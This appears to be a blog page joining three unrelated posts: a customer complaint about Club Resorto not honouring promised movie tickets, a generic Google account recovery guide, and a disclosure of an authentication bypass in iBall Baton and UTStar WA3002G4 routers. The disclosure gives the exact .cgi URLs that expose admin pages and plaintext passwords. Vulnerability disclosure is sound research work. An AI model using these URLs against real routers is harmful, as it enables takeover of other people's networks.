Avoid Club Resorto – Worst Customer Experience Ever

Category : Windows

I had a very disappointing experience with Club Resorto. They initially claimed to offer complimentary couple movie tickets as part of their package, provided we inform them one week in advance. I followed this process properly — emailed them well in time (on October 1, 2025) requesting movie tickets for Lokah Chapter 1 – Chandra at Kochi (PVR Lulu/Oberon/Forum Mall) for October 6, 2025.

There was no response for three days, and when I followed up, I received a generic excuse saying “all slots are fully booked” and to contact them after October 31. This made no sense since the movie was already showing and tickets were still available online. When I asked them to simply share the PVR voucher so I could book directly, they ignored my request.

It’s clear they don’t intend to honor their promised benefits and are only trying to fool customers with fake offers. They can’t even provide a small voucher, let alone real value. It’s a total scam, and I strongly advise everyone to stay away from them.

Save your time and money — you’ll be better off buying your own movie tickets than wasting it on false promises from Club Resorto.

5 Steps to Recover and Secure Your Google Account

Category : Windows

Losing access to your Google account can be a stressful and frustrating experience. Not only do you lose access to all the important data and services associated with your account, but you also run the risk of someone else gaining access to that information. Fortunately, there are steps you can take to recover and secure your Google account. Here are five key steps to follow if you find yourself in this situation:

  1. Try to sign in to your account. The first thing you should do is try to sign in to your account as you normally would. If you’re having trouble remembering your password, you can try resetting it by clicking the “Forgot password?” link on the sign-in page. You may be asked to enter the email address associated with your account, or to answer a security question. If you can’t remember the answer to the security question, or if you don’t have access to the email address associated with your account, you’ll need to follow the next steps.
  2. Check for any account recovery options. If you’re unable to reset your password or regain access to your account, the next step is to check for any account recovery options that Google may have available. This may include verifying your identity by providing additional information about yourself, or by providing proof of ownership of the account. To access these options, go to the Google account recovery page and follow the instructions.
  3. Secure your account if you regain access. If you’re able to recover your account, the next step is to make sure it’s secure. This includes changing your password to something strong and unique, and enabling two-factor authentication to add an extra layer of security to your account. You should also review any other security settings and make sure they’re up to date.
  4. Monitor your account for any suspicious activity. It’s important to regularly check your account for any suspicious activity, such as emails or messages that you didn’t send, or unauthorized changes to your account settings. If you notice anything unusual, take immediate action to secure your account and protect your personal information.
  5. Consider using a password manager. One of the best ways to secure your Google account (and all of your other online accounts) is to use a password manager. A password manager is a tool that helps you create strong, unique passwords for all of your accounts, and stores them securely in one place. This way, you don’t have to worry about remembering multiple passwords, and you can easily change them if you suspect your account has been compromised.

In summary, recovering and securing your Google account requires a combination of proactive measures and timely action. By following these five steps, you can minimize the risk of losing access to your account, and ensure that your personal information is protected.


iBall Baton ADSL2+ Home Router, UTStar WA3002G4 ADSL Broadband Modem Authentication Bypass

Hi, I hope you have already gone through my first router exploitation writing Exploiting Router Authentication through Web Interface (CVE-2017-6558). Once again researching in router exploitation, I found similar bug in two other products iBall Baton ADSL2+ Home Router & UTStar WA3002G4 ADSL Broadband Modem that allowed me to bypass admin panel authentication. Both of these products are from two different vendors, but the vulnerability is same.

I was looking to find some methods to bypass authentication of commonly using routers in my country. First I came to open iBall Baton ADSL2+ Home Router admin page. The admin panel is protected by password authentication. I know some routers use CGI scripts like PayPal use in their websites. I tried to access common pages in the router by appending .cgi at the end of URL. Luckily I got the page info.cgi opened without asking authentication. I got few other pages also which can be accessed in the same way.

Steps

  1. Suppose 192.168.1.1 is the router IP, then the password reset page is http://192.168.1.1/password.html by default
  2. This page is a protected page which can be bypassed by changing URL extension as http://192.168.1.1/password.cgi

In the case of UTStar, the source code of password.cgi page contains the usernames and corresponding passwords in plain text. We can use this password to login admin panel!

Some pages we can directly access:

  • http://192.168.1.1/info.cgi – Status and details
  • http://192.168.1.1/upload.cgi – Firmware Upgrade
  • http://192.168.1.1/backupsettings.cgi – perform backup settings to PC
  • http://192.168.1.1/pppoe.cgi – PPPoE settings
  • http://192.168.1.1/resetrouter.cgi – Router reset
  • http://192.168.1.1/password.cgi – password settings

Products Affected

  • UTStar WA3002G4 ADSL Broadband Modem – Firmware Version: WA3002G4-0021.01
  • iBall Baton ADSL2+ Home Router – Firmware version: FW_iB-LR7011A_1.0.2
